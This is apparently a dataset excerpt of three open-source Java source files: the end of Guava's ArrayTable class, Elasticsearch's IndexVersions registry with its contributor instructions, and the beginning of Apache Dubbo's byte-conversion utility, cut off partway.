Spliterator<Entry<K, V>> entrySpliterator() {
return CollectSpliterators.indexed(size(), Spliterator.ORDERED, this::getEntry);
}
// TODO(lowasser): consider an optimized values() implementation
@Override
public boolean containsKey(@CheckForNull Object key) {
return keyIndex.containsKey(key);
}
@CheckForNull
@Override
public V get(@CheckForNull Object key) {
Integer index = keyIndex.get(key);
if (index == null) {
return null;
} else {
return getValue(index);
}
}
@Override
@CheckForNull
public V put(K key, @ParametricNullness V value) {
Integer index = keyIndex.get(key);
if (index == null) {
throw new IllegalArgumentException(
getKeyRole() + " " + key + " not in " + keyIndex.keySet());
}
return setValue(index, value);
}
@Override
@CheckForNull
public V remove(@CheckForNull Object key) {
throw new UnsupportedOperationException();
}
@Override
public void clear() {
throw new UnsupportedOperationException();
}
}
/**
* Returns, as an immutable list, the row keys provided when the table was constructed, including
* those that are mapped to null values only.
*/
public ImmutableList<R> rowKeyList() {
return rowList;
}
/**
* Returns, as an immutable list, the column keys provided when the table was constructed,
* including those that are mapped to null values only.
*/
public ImmutableList<C> columnKeyList() {
return columnList;
}
/**
* Returns the value corresponding to the specified row and column indices. The same value is
* returned by {@code get(rowKeyList().get(rowIndex), columnKeyList().get(columnIndex))}, but this
* method runs more quickly.
*
* @param rowIndex position of the row key in {@link #rowKeyList()}
* @param columnIndex position of the row key in {@link #columnKeyList()}
* @return the value with the specified row and column
* @throws IndexOutOfBoundsException if either index is negative, {@code rowIndex} is greater than
* or equal to the number of allowed row keys, or {@code columnIndex} is greater than or equal
* to the number of allowed column keys
*/
@CheckForNull
public V at(int rowIndex, int columnIndex) {
// In GWT array access never throws IndexOutOfBoundsException.
checkElementIndex(rowIndex, rowList.size());
checkElementIndex(columnIndex, columnList.size());
return array[rowIndex][columnIndex];
}
/**
* Associates {@code value} with the specified row and column indices. The logic {@code
* put(rowKeyList().get(rowIndex), columnKeyList().get(columnIndex), value)} has the same
* behavior, but this method runs more quickly.
*
* @param rowIndex position of the row key in {@link #rowKeyList()}
* @param columnIndex position of the row key in {@link #columnKeyList()}
* @param value value to store in the table
* @return the previous value with the specified row and column
* @throws IndexOutOfBoundsException if either index is negative, {@code rowIndex} is greater than
* or equal to the number of allowed row keys, or {@code columnIndex} is greater than or equal
* to the number of allowed column keys
*/
@CanIgnoreReturnValue
@CheckForNull
public V set(int rowIndex, int columnIndex, @CheckForNull V value) {
// In GWT array access never throws IndexOutOfBoundsException.
checkElementIndex(rowIndex, rowList.size());
checkElementIndex(columnIndex, columnList.size());
V oldValue = array[rowIndex][columnIndex];
array[rowIndex][columnIndex] = value;
return oldValue;
}
/**
* Returns a two-dimensional array with the table contents. The row and column indices correspond
* to the positions of the row and column in the iterables provided during table construction. If
* the table lacks a mapping for a given row and column, the corresponding array element is null.
*
* <p>Subsequent table changes will not modify the array, and vice versa.
*
* @param valueClass class of values stored in the returned array
*/
@GwtIncompatible // reflection
public @Nullable V[][] toArray(Class<V> valueClass) {
@SuppressWarnings("unchecked") // TODO: safe?
@Nullable
V[][] copy = (@Nullable V[][]) Array.newInstance(valueClass, rowList.size(), columnList.size());
for (int i = 0; i < rowList.size(); i++) {
System.arraycopy(array[i], 0, copy[i], 0, array[i].length);
}
return copy;
}
/**
* Not supported. Use {@link #eraseAll} instead.
*
* @throws UnsupportedOperationException always
* @deprecated Use {@link #eraseAll}
*/
@DoNotCall("Always throws UnsupportedOperationException")
@Override
@Deprecated
public void clear() {
throw new UnsupportedOperationException();
}
/** Associates the value {@code null} with every pair of allowed row and column keys. */
public void eraseAll() {
for (@Nullable V[] row : array) {
Arrays.fill(row, null);
}
}
/**
* Returns {@code true} if the provided keys are among the keys provided when the table was
* constructed.
*/
@Override
public boolean contains(@CheckForNull Object rowKey, @CheckForNull Object columnKey) {
return containsRow(rowKey) && containsColumn(columnKey);
}
/**
* Returns {@code true} if the provided column key is among the column keys provided when the
* table was constructed.
*/
@Override
public boolean containsColumn(@CheckForNull Object columnKey) {
return columnKeyToIndex.containsKey(columnKey);
}
/**
* Returns {@code true} if the provided row key is among the row keys provided when the table was
* constructed.
*/
@Override
public boolean containsRow(@CheckForNull Object rowKey) {
return rowKeyToIndex.containsKey(rowKey);
}
@Override
public boolean containsValue(@CheckForNull Object value) {
for (@Nullable V[] row : array) {
for (V element : row) {
if (Objects.equal(value, element)) {
return true;
}
}
}
return false;
}
@Override
@CheckForNull
public V get(@CheckForNull Object rowKey, @CheckForNull Object columnKey) {
Integer rowIndex = rowKeyToIndex.get(rowKey);
Integer columnIndex = columnKeyToIndex.get(columnKey);
return (rowIndex == null || columnIndex == null) ? null : at(rowIndex, columnIndex);
}
/**
* Returns {@code true} if {@code rowKeyList().size == 0} or {@code columnKeyList().size() == 0}.
*/
@Override
public boolean isEmpty() {
return rowList.isEmpty() || columnList.isEmpty();
}
/**
* {@inheritDoc}
*
* @throws IllegalArgumentException if {@code rowKey} is not in {@link #rowKeySet()} or {@code
* columnKey} is not in {@link #columnKeySet()}.
*/
@CanIgnoreReturnValue
@Override
@CheckForNull
public V put(R rowKey, C columnKey, @CheckForNull V value) {
checkNotNull(rowKey);
checkNotNull(columnKey);
Integer rowIndex = rowKeyToIndex.get(rowKey);
checkArgument(rowIndex != null, "Row %s not in %s", rowKey, rowList);
Integer columnIndex = columnKeyToIndex.get(columnKey);
checkArgument(columnIndex != null, "Column %s not in %s", columnKey, columnList);
return set(rowIndex, columnIndex, value);
}
/*
* TODO(jlevy): Consider creating a merge() method, similar to putAll() but
* copying non-null values only.
*/
/**
* {@inheritDoc}
*
* <p>If {@code table} is an {@code ArrayTable}, its null values will be stored in this table,
* possibly replacing values that were previously non-null.
*
* @throws NullPointerException if {@code table} has a null key
* @throws IllegalArgumentException if any of the provided table's row keys or column keys is not
* in {@link #rowKeySet()} or {@link #columnKeySet()}
*/
@Override
public void putAll(Table<? extends R, ? extends C, ? extends @Nullable V> table) {
super.putAll(table);
}
/**
* Not supported. Use {@link #erase} instead.
*
* @throws UnsupportedOperationException always
* @deprecated Use {@link #erase}
*/
@DoNotCall("Always throws UnsupportedOperationException")
@CanIgnoreReturnValue
@Override
@Deprecated
@CheckForNull
public V remove(@CheckForNull Object rowKey, @CheckForNull Object columnKey) {
throw new UnsupportedOperationException();
}
/**
* Associates the value {@code null} with the specified keys, assuming both keys are valid. If
* either key is null or isn't among the keys provided during construction, this method has no
* effect.
*
* <p>This method is equivalent to {@code put(rowKey, columnKey, null)} when both provided keys
* are valid.
*
* @param rowKey row key of mapping to be erased
* @param columnKey column key of mapping to be erased
* @return the value previously associated with the keys, or {@code null} if no mapping existed
* for the keys
*/
@CanIgnoreReturnValue
@CheckForNull
public V erase(@CheckForNull Object rowKey, @CheckForNull Object columnKey) {
Integer rowIndex = rowKeyToIndex.get(rowKey);
Integer columnIndex = columnKeyToIndex.get(columnKey);
if (rowIndex == null || columnIndex == null) {
return null;
}
return set(rowIndex, columnIndex, null);
}
// TODO(jlevy): Add eraseRow and eraseColumn methods?
@Override
public int size() {
return rowList.size() * columnList.size();
}
/**
* Returns an unmodifiable set of all row key / column key / value triplets. Changes to the table
* will update the returned set.
*
* <p>The returned set's iterator traverses the mappings with the first row key, the mappings with
* the second row key, and so on.
*
* <p>The value in the returned cells may change if the table subsequently changes.
*
* @return set of table cells consisting of row key / column key / value triplets
*/
@Override
public Set<Cell<R, C, @Nullable V>> cellSet() {
return super.cellSet();
}
@Override
Iterator<Cell<R, C, @Nullable V>> cellIterator() {
return new AbstractIndexedListIterator<Cell<R, C, @Nullable V>>(size()) {
@Override
protected Cell<R, C, @Nullable V> get(final int index) {
return getCell(index);
}
};
}
@Override
Spliterator<Cell<R, C, @Nullable V>> cellSpliterator() {
return CollectSpliterators.<Cell<R, C, @Nullable V>>indexed(
size(), Spliterator.ORDERED | Spliterator.NONNULL | Spliterator.DISTINCT, this::getCell);
}
private Cell<R, C, @Nullable V> getCell(final int index) {
return new Tables.AbstractCell<R, C, @Nullable V>() {
final int rowIndex = index / columnList.size();
final int columnIndex = index % columnList.size();
@Override
public R getRowKey() {
return rowList.get(rowIndex);
}
@Override
public C getColumnKey() {
return columnList.get(columnIndex);
}
@Override
@CheckForNull
public V getValue() {
return at(rowIndex, columnIndex);
}
};
}
@CheckForNull
private V getValue(int index) {
int rowIndex = index / columnList.size();
int columnIndex = index % columnList.size();
return at(rowIndex, columnIndex);
}
/**
* Returns a view of all mappings that have the given column key. If the column key isn't in
* {@link #columnKeySet()}, an empty immutable map is returned.
*
* <p>Otherwise, for each row key in {@link #rowKeySet()}, the returned map associates the row key
* with the corresponding value in the table. Changes to the returned map will update the
* underlying table, and vice versa.
*
* @param columnKey key of column to search for in the table
* @return the corresponding map from row keys to values
*/
@Override
public Map<R, @Nullable V> column(C columnKey) {
checkNotNull(columnKey);
Integer columnIndex = columnKeyToIndex.get(columnKey);
if (columnIndex == null) {
return emptyMap();
} else {
return new Column(columnIndex);
}
}
private class Column extends ArrayMap<R, @Nullable V> {
final int columnIndex;
Column(int columnIndex) {
super(rowKeyToIndex);
this.columnIndex = columnIndex;
}
@Override
String getKeyRole() {
return "Row";
}
@Override
@CheckForNull
V getValue(int index) {
return at(index, columnIndex);
}
@Override
@CheckForNull
V setValue(int index, @CheckForNull V newValue) {
return set(index, columnIndex, newValue);
}
}
/**
* Returns an immutable set of the valid column keys, including those that are associated with
* null values only.
*
* @return immutable set of column keys
*/
@Override
public ImmutableSet<C> columnKeySet() {
return columnKeyToIndex.keySet();
}
@LazyInit @CheckForNull private transient ColumnMap columnMap;
@Override
public Map<C, Map<R, @Nullable V>> columnMap() {
ColumnMap map = columnMap;
return (map == null) ? columnMap = new ColumnMap() : map;
}
@WeakOuter
private class ColumnMap extends ArrayMap<C, Map<R, @Nullable V>> {
private ColumnMap() {
super(columnKeyToIndex);
}
@Override
String getKeyRole() {
return "Column";
}
@Override
Map<R, @Nullable V> getValue(int index) {
return new Column(index);
}
@Override
Map<R, @Nullable V> setValue(int index, Map<R, @Nullable V> newValue) {
throw new UnsupportedOperationException();
}
@Override
@CheckForNull
public Map<R, @Nullable V> put(C key, Map<R, @Nullable V> value) {
throw new UnsupportedOperationException();
}
}
/**
* Returns a view of all mappings that have the given row key. If the row key isn't in {@link
* #rowKeySet()}, an empty immutable map is returned.
*
* <p>Otherwise, for each column key in {@link #columnKeySet()}, the returned map associates the
* column key with the corresponding value in the table. Changes to the returned map will update
* the underlying table, and vice versa.
*
* @param rowKey key of row to search for in the table
* @return the corresponding map from column keys to values
*/
@Override
public Map<C, @Nullable V> row(R rowKey) {
checkNotNull(rowKey);
Integer rowIndex = rowKeyToIndex.get(rowKey);
if (rowIndex == null) {
return emptyMap();
} else {
return new Row(rowIndex);
}
}
private class Row extends ArrayMap<C, @Nullable V> {
final int rowIndex;
Row(int rowIndex) {
super(columnKeyToIndex);
this.rowIndex = rowIndex;
}
@Override
String getKeyRole() {
return "Column";
}
@Override
@CheckForNull
V getValue(int index) {
return at(rowIndex, index);
}
@Override
@CheckForNull
V setValue(int index, @CheckForNull V newValue) {
return set(rowIndex, index, newValue);
}
}
/**
* Returns an immutable set of the valid row keys, including those that are associated with null
* values only.
*
* @return immutable set of row keys
*/
@Override
public ImmutableSet<R> rowKeySet() {
return rowKeyToIndex.keySet();
}
@LazyInit @CheckForNull private transient RowMap rowMap;
@Override
public Map<R, Map<C, @Nullable V>> rowMap() {
RowMap map = rowMap;
return (map == null) ? rowMap = new RowMap() : map;
}
@WeakOuter
private class RowMap extends ArrayMap<R, Map<C, @Nullable V>> {
private RowMap() {
super(rowKeyToIndex);
}
@Override
String getKeyRole() {
return "Row";
}
@Override
Map<C, @Nullable V> getValue(int index) {
return new Row(index);
}
@Override
Map<C, @Nullable V> setValue(int index, Map<C, @Nullable V> newValue) {
throw new UnsupportedOperationException();
}
@Override
@CheckForNull
public Map<C, @Nullable V> put(R key, Map<C, @Nullable V> value) {
throw new UnsupportedOperationException();
}
}
/**
* Returns an unmodifiable collection of all values, which may contain duplicates. Changes to the
* table will update the returned collection.
*
* <p>The returned collection's iterator traverses the values of the first row key, the values of
* the second row key, and so on.
*
* @return collection of values
*/
@Override
public Collection<@Nullable V> values() {
return super.values();
}
@Override
Iterator<@Nullable V> valuesIterator() {
return new AbstractIndexedListIterator<@Nullable V>(size()) {
@Override
@CheckForNull
protected V get(int index) {
return getValue(index);
}
};
}
@Override
Spliterator<@Nullable V> valuesSpliterator() {
return CollectSpliterators.<@Nullable V>indexed(size(), Spliterator.ORDERED, this::getValue);
}
private static final long serialVersionUID = 0;
}
| google/guava | guava/src/com/google/common/collect/ArrayTable.java |
1,364 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.index;
import org.apache.lucene.util.Version;
import org.elasticsearch.ReleaseVersions;
import org.elasticsearch.core.Assertions;
import org.elasticsearch.core.UpdateForV9;
import java.lang.reflect.Field;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import java.util.NavigableMap;
import java.util.Set;
import java.util.TreeMap;
import java.util.TreeSet;
import java.util.function.IntFunction;
@SuppressWarnings("deprecation")
public class IndexVersions {
/*
* NOTE: IntelliJ lies!
* This map is used during class construction, referenced by the registerIndexVersion method.
* When all the index version constants have been registered, the map is cleared & never touched again.
*/
@SuppressWarnings("UnusedAssignment")
static TreeSet<Integer> IDS = new TreeSet<>();
private static IndexVersion def(int id, Version luceneVersion) {
if (IDS == null) throw new IllegalStateException("The IDS map needs to be present to call this method");
if (IDS.add(id) == false) {
throw new IllegalArgumentException("Version id " + id + " defined twice");
}
if (id < IDS.last()) {
throw new IllegalArgumentException("Version id " + id + " is not defined in the right location. Keep constants sorted");
}
return new IndexVersion(id, luceneVersion);
}
@UpdateForV9 // remove the index versions with which v9 will not need to interact
public static final IndexVersion ZERO = def(0, Version.LATEST);
public static final IndexVersion V_7_0_0 = def(7_00_00_99, Version.LUCENE_8_0_0);
public static final IndexVersion V_7_1_0 = def(7_01_00_99, Version.LUCENE_8_0_0);
public static final IndexVersion V_7_2_0 = def(7_02_00_99, Version.LUCENE_8_0_0);
public static final IndexVersion V_7_2_1 = def(7_02_01_99, Version.LUCENE_8_0_0);
public static final IndexVersion V_7_3_0 = def(7_03_00_99, Version.LUCENE_8_1_0);
public static final IndexVersion V_7_4_0 = def(7_04_00_99, Version.LUCENE_8_2_0);
public static final IndexVersion V_7_5_0 = def(7_05_00_99, Version.LUCENE_8_3_0);
public static final IndexVersion V_7_5_2 = def(7_05_02_99, Version.LUCENE_8_3_0);
public static final IndexVersion V_7_6_0 = def(7_06_00_99, Version.LUCENE_8_4_0);
public static final IndexVersion V_7_7_0 = def(7_07_00_99, Version.LUCENE_8_5_1);
public static final IndexVersion V_7_8_0 = def(7_08_00_99, Version.LUCENE_8_5_1);
public static final IndexVersion V_7_9_0 = def(7_09_00_99, Version.LUCENE_8_6_0);
public static final IndexVersion V_7_10_0 = def(7_10_00_99, Version.LUCENE_8_7_0);
public static final IndexVersion V_7_11_0 = def(7_11_00_99, Version.LUCENE_8_7_0);
public static final IndexVersion V_7_12_0 = def(7_12_00_99, Version.LUCENE_8_8_0);
public static final IndexVersion V_7_13_0 = def(7_13_00_99, Version.LUCENE_8_8_2);
public static final IndexVersion V_7_14_0 = def(7_14_00_99, Version.LUCENE_8_9_0);
public static final IndexVersion V_7_15_0 = def(7_15_00_99, Version.LUCENE_8_9_0);
public static final IndexVersion V_7_16_0 = def(7_16_00_99, Version.LUCENE_8_10_1);
public static final IndexVersion V_7_17_0 = def(7_17_00_99, Version.LUCENE_8_11_1);
public static final IndexVersion V_8_0_0 = def(8_00_00_99, Version.LUCENE_9_0_0);
public static final IndexVersion V_8_1_0 = def(8_01_00_99, Version.LUCENE_9_0_0);
public static final IndexVersion V_8_2_0 = def(8_02_00_99, Version.LUCENE_9_1_0);
public static final IndexVersion V_8_3_0 = def(8_03_00_99, Version.LUCENE_9_2_0);
public static final IndexVersion V_8_4_0 = def(8_04_00_99, Version.LUCENE_9_3_0);
public static final IndexVersion V_8_5_0 = def(8_05_00_99, Version.LUCENE_9_4_1);
public static final IndexVersion V_8_6_0 = def(8_06_00_99, Version.LUCENE_9_4_2);
public static final IndexVersion V_8_7_0 = def(8_07_00_99, Version.LUCENE_9_5_0);
public static final IndexVersion V_8_8_0 = def(8_08_00_99, Version.LUCENE_9_6_0);
public static final IndexVersion V_8_8_2 = def(8_08_02_99, Version.LUCENE_9_6_0);
public static final IndexVersion V_8_9_0 = def(8_09_00_99, Version.LUCENE_9_7_0);
public static final IndexVersion V_8_9_1 = def(8_09_01_99, Version.LUCENE_9_7_0);
public static final IndexVersion V_8_10_0 = def(8_10_00_99, Version.LUCENE_9_7_0);
/*
* READ THE COMMENT BELOW THIS BLOCK OF DECLARATIONS BEFORE ADDING NEW INDEX VERSIONS
* Detached index versions added below here.
*/
public static final IndexVersion FIRST_DETACHED_INDEX_VERSION = def(8_500_000, Version.LUCENE_9_7_0);
public static final IndexVersion NEW_SPARSE_VECTOR = def(8_500_001, Version.LUCENE_9_7_0);
public static final IndexVersion SPARSE_VECTOR_IN_FIELD_NAMES_SUPPORT = def(8_500_002, Version.LUCENE_9_7_0);
public static final IndexVersion UPGRADE_LUCENE_9_8 = def(8_500_003, Version.LUCENE_9_8_0);
public static final IndexVersion ES_VERSION_8_12 = def(8_500_004, Version.LUCENE_9_8_0);
public static final IndexVersion NORMALIZED_VECTOR_COSINE = def(8_500_005, Version.LUCENE_9_8_0);
public static final IndexVersion UPGRADE_LUCENE_9_9 = def(8_500_006, Version.LUCENE_9_9_0);
public static final IndexVersion NORI_DUPLICATES = def(8_500_007, Version.LUCENE_9_9_0);
public static final IndexVersion UPGRADE_LUCENE_9_9_1 = def(8_500_008, Version.LUCENE_9_9_1);
public static final IndexVersion ES_VERSION_8_12_1 = def(8_500_009, Version.LUCENE_9_9_1);
public static final IndexVersion UPGRADE_8_12_1_LUCENE_9_9_2 = def(8_500_010, Version.LUCENE_9_9_2);
public static final IndexVersion NEW_INDEXVERSION_FORMAT = def(8_501_00_0, Version.LUCENE_9_9_1);
public static final IndexVersion UPGRADE_LUCENE_9_9_2 = def(8_502_00_0, Version.LUCENE_9_9_2);
public static final IndexVersion TIME_SERIES_ID_HASHING = def(8_502_00_1, Version.LUCENE_9_9_2);
public static final IndexVersion UPGRADE_TO_LUCENE_9_10 = def(8_503_00_0, Version.LUCENE_9_10_0);
public static final IndexVersion TIME_SERIES_ROUTING_HASH_IN_ID = def(8_504_00_0, Version.LUCENE_9_10_0);
public static final IndexVersion DEFAULT_DENSE_VECTOR_TO_INT8_HNSW = def(8_505_00_0, Version.LUCENE_9_10_0);
public static final IndexVersion DOC_VALUES_FOR_IGNORED_META_FIELD = def(8_505_00_1, Version.LUCENE_9_10_0);
public static final IndexVersion SOURCE_MAPPER_LOSSY_PARAMS_CHECK = def(8_506_00_0, Version.LUCENE_9_10_0);
/*
* STOP! READ THIS FIRST! No, really,
* ____ _____ ___ ____ _ ____ _____ _ ____ _____ _ _ ___ ____ _____ ___ ____ ____ _____ _
* / ___|_ _/ _ \| _ \| | | _ \| ____| / \ | _ \ |_ _| | | |_ _/ ___| | ___|_ _| _ \/ ___|_ _| |
* \___ \ | || | | | |_) | | | |_) | _| / _ \ | | | | | | | |_| || |\___ \ | |_ | || |_) \___ \ | | | |
* ___) || || |_| | __/|_| | _ <| |___ / ___ \| |_| | | | | _ || | ___) | | _| | || _ < ___) || | |_|
* |____/ |_| \___/|_| (_) |_| \_\_____/_/ \_\____/ |_| |_| |_|___|____/ |_| |___|_| \_\____/ |_| (_)
*
* A new index version should be added EVERY TIME a change is made to index metadata or data storage.
* Each index version should only be used in a single merged commit (apart from the BwC versions copied from o.e.Version, ≤V_8_11_0).
*
* ADDING AN INDEX VERSION
* To add a new index version, add a new constant at the bottom of the list, above this comment. Don't add other lines,
* comments, etc. The version id has the following layout:
*
* M_NNN_SS_P
*
* M - The major version of Elasticsearch
* NNN - The server version part
* SS - The serverless version part. It should always be 00 here, it is used by serverless only.
* P - The patch version part
*
* To determine the id of the next IndexVersion constant, do the following:
* - Use the same major version, unless bumping majors
* - Bump the server version part by 1, unless creating a patch version
* - Leave the serverless part as 00
* - Bump the patch part if creating a patch version
*
* If a patch version is created, it should be placed sorted among the other existing constants.
*
* REVERTING AN INDEX VERSION
*
* If you revert a commit with an index version change, you MUST ensure there is a NEW index version representing the reverted
* change. DO NOT let the index version go backwards, it must ALWAYS be incremented.
*
* DETERMINING INDEX VERSIONS FROM GIT HISTORY
*
* If your git checkout has the expected minor-version-numbered branches and the expected release-version tags then you can find the
* index versions known by a particular release ...
*
* git show v8.12.0:server/src/main/java/org/elasticsearch/index/IndexVersions.java | grep '= def'
*
* ... or by a particular branch ...
*
* git show 8.12:server/src/main/java/org/elasticsearch/index/IndexVersions.java | grep '= def'
*
* ... and you can see which versions were added in between two versions too ...
*
* git diff v8.12.0..main -- server/src/main/java/org/elasticsearch/index/IndexVersions.java
*
* In branches 8.7-8.11 see server/src/main/java/org/elasticsearch/index/IndexVersion.java for the equivalent definitions.
*/
public static final IndexVersion MINIMUM_COMPATIBLE = V_7_0_0;
static final NavigableMap<Integer, IndexVersion> VERSION_IDS = getAllVersionIds(IndexVersions.class);
static final IndexVersion LATEST_DEFINED;
static {
LATEST_DEFINED = VERSION_IDS.lastEntry().getValue();
// see comment on IDS field
// now we're registered the index versions, we can clear the map
IDS = null;
}
static NavigableMap<Integer, IndexVersion> getAllVersionIds(Class<?> cls) {
Map<Integer, String> versionIdFields = new HashMap<>();
NavigableMap<Integer, IndexVersion> builder = new TreeMap<>();
Set<String> ignore = Set.of("ZERO", "MINIMUM_COMPATIBLE");
for (Field declaredField : cls.getFields()) {
if (declaredField.getType().equals(IndexVersion.class)) {
String fieldName = declaredField.getName();
if (ignore.contains(fieldName)) {
continue;
}
IndexVersion version;
try {
version = (IndexVersion) declaredField.get(null);
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
builder.put(version.id(), version);
if (Assertions.ENABLED) {
// check the version number is unique
var sameVersionNumber = versionIdFields.put(version.id(), fieldName);
assert sameVersionNumber == null
: "Versions ["
+ sameVersionNumber
+ "] and ["
+ fieldName
+ "] have the same version number ["
+ version.id()
+ "]. Each IndexVersion should have a different version number";
}
}
}
return Collections.unmodifiableNavigableMap(builder);
}
static Collection<IndexVersion> getAllVersions() {
return VERSION_IDS.values();
}
static final IntFunction<String> VERSION_LOOKUP = ReleaseVersions.generateVersionsLookup(IndexVersions.class);
// no instance
private IndexVersions() {}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/index/IndexVersions.java |
1,365 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.dubbo.common.io;
import org.apache.dubbo.common.utils.IOUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
/**
* CodecUtils.
*/
public class Bytes {
private static final String C64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; //default base64.
private static final char[] BASE16 = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'}, BASE64 = C64.toCharArray();
private static final int MASK4 = 0x0f, MASK6 = 0x3f, MASK8 = 0xff;
private static final Map<Integer, byte[]> DECODE_TABLE_MAP = new ConcurrentHashMap<Integer, byte[]>();
private static ThreadLocal<MessageDigest> MD = new ThreadLocal<MessageDigest>();
private Bytes() {
}
/**
* byte array copy.
*
* @param src src.
* @param length new length.
* @return new byte array.
*/
public static byte[] copyOf(byte[] src, int length) {
byte[] dest = new byte[length];
System.arraycopy(src, 0, dest, 0, Math.min(src.length, length));
return dest;
}
/**
* to byte array.
*
* @param v value.
* @return byte[].
*/
public static byte[] short2bytes(short v) {
byte[] ret = {0, 0};
short2bytes(v, ret);
return ret;
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
*/
public static void short2bytes(short v, byte[] b) {
short2bytes(v, b, 0);
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
*/
public static void short2bytes(short v, byte[] b, int off) {
b[off + 1] = (byte) v;
b[off + 0] = (byte) (v >>> 8);
}
/**
* to byte array.
*
* @param v value.
* @return byte[].
*/
public static byte[] int2bytes(int v) {
byte[] ret = {0, 0, 0, 0};
int2bytes(v, ret);
return ret;
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
*/
public static void int2bytes(int v, byte[] b) {
int2bytes(v, b, 0);
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
* @param off array offset.
*/
public static void int2bytes(int v, byte[] b, int off) {
b[off + 3] = (byte) v;
b[off + 2] = (byte) (v >>> 8);
b[off + 1] = (byte) (v >>> 16);
b[off + 0] = (byte) (v >>> 24);
}
/**
* to byte array.
*
* @param v value.
* @return byte[].
*/
public static byte[] float2bytes(float v) {
byte[] ret = {0, 0, 0, 0};
float2bytes(v, ret);
return ret;
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
*/
public static void float2bytes(float v, byte[] b) {
float2bytes(v, b, 0);
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
* @param off array offset.
*/
public static void float2bytes(float v, byte[] b, int off) {
int i = Float.floatToIntBits(v);
b[off + 3] = (byte) i;
b[off + 2] = (byte) (i >>> 8);
b[off + 1] = (byte) (i >>> 16);
b[off + 0] = (byte) (i >>> 24);
}
/**
* to byte array.
*
* @param v value.
* @return byte[].
*/
public static byte[] long2bytes(long v) {
byte[] ret = {0, 0, 0, 0, 0, 0, 0, 0};
long2bytes(v, ret);
return ret;
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
*/
public static void long2bytes(long v, byte[] b) {
long2bytes(v, b, 0);
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
* @param off array offset.
*/
public static void long2bytes(long v, byte[] b, int off) {
b[off + 7] = (byte) v;
b[off + 6] = (byte) (v >>> 8);
b[off + 5] = (byte) (v >>> 16);
b[off + 4] = (byte) (v >>> 24);
b[off + 3] = (byte) (v >>> 32);
b[off + 2] = (byte) (v >>> 40);
b[off + 1] = (byte) (v >>> 48);
b[off + 0] = (byte) (v >>> 56);
}
/**
* to byte array.
*
* @param v value.
* @return byte[].
*/
public static byte[] double2bytes(double v) {
byte[] ret = {0, 0, 0, 0, 0, 0, 0, 0};
double2bytes(v, ret);
return ret;
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
*/
public static void double2bytes(double v, byte[] b) {
double2bytes(v, b, 0);
}
/**
* to byte array.
*
* @param v value.
* @param b byte array.
* @param off array offset.
*/
public static void double2bytes(double v, byte[] b, int off) {
long j = Double.doubleToLongBits(v);
b[off + 7] = (byte) j;
b[off + 6] = (byte) (j >>> 8);
b[off + 5] = (byte) (j >>> 16);
b[off + 4] = (byte) (j >>> 24);
b[off + 3] = (byte) (j >>> 32);
b[off + 2] = (byte) (j >>> 40);
b[off + 1] = (byte) (j >>> 48);
b[off + 0] = (byte) (j >>> 56);
}
/**
* to short.
*
* @param b byte array.
* @return short.
*/
public static short bytes2short(byte[] b) {
return bytes2short(b, 0);
}
/**
* to short.
*
* @param b byte array.
* @param off offset.
* @return short.
*/
public static short bytes2short(byte[] b, int off) {
return (short) (((b[off + 1] & 0xFF) << 0) +
((b[off + 0]) << 8));
}
/**
* to int.
*
* @param b byte array.
* @return int.
*/
public static int bytes2int(byte[] b) {
return bytes2int(b, 0);
}
/**
* to int.
*
* @param b byte array.
* @param off offset.
* @return int.
*/
public static int bytes2int(byte[] b, int off) {
return ((b[off + 3] & 0xFF) << 0) +
((b[off + 2] & 0xFF) << 8) +
((b[off + 1] & 0xFF) << 16) +
((b[off + 0]) << 24);
}
/**
* to int.
*
* @param b byte array.
* @return int.
*/
public static float bytes2float(byte[] b) {
return bytes2float(b, 0);
}
/**
* to int.
*
* @param b byte array.
* @param off offset.
* @return int.
*/
public static float bytes2float(byte[] b, int off) {
int i = ((b[off + 3] & 0xFF) << 0) +
((b[off + 2] & 0xFF) << 8) +
((b[off + 1] & 0xFF) << 16) +
((b[off + 0]) << 24);
return Float.intBitsToFloat(i);
}
/**
* to long.
*
* @param b byte array.
* @return long.
*/
public static long bytes2long(byte[] b) {
return bytes2long(b, 0);
}
/**
* to long.
*
* @param b byte array.
* @param off offset.
* @return long.
*/
public static long bytes2long(byte[] b, int off) {
return ((b[off + 7] & 0xFFL) << 0) +
((b[off + 6] & 0xFFL) << 8) +
((b[off + 5] & 0xFFL) << 16) +
((b[off + 4] & 0xFFL) << 24) +
((b[off + 3] & 0xFFL) << 32) +
((b[off + 2] & 0xFFL) << 40) +
((b[off + 1] & 0xFFL) << 48) +
(((long) b[off + 0]) << 56);
}
/**
* to long.
*
* @param b byte array.
* @return double.
*/
public static double bytes2double(byte[] b) {
return bytes2double(b, 0);
}
/**
* to long.
*
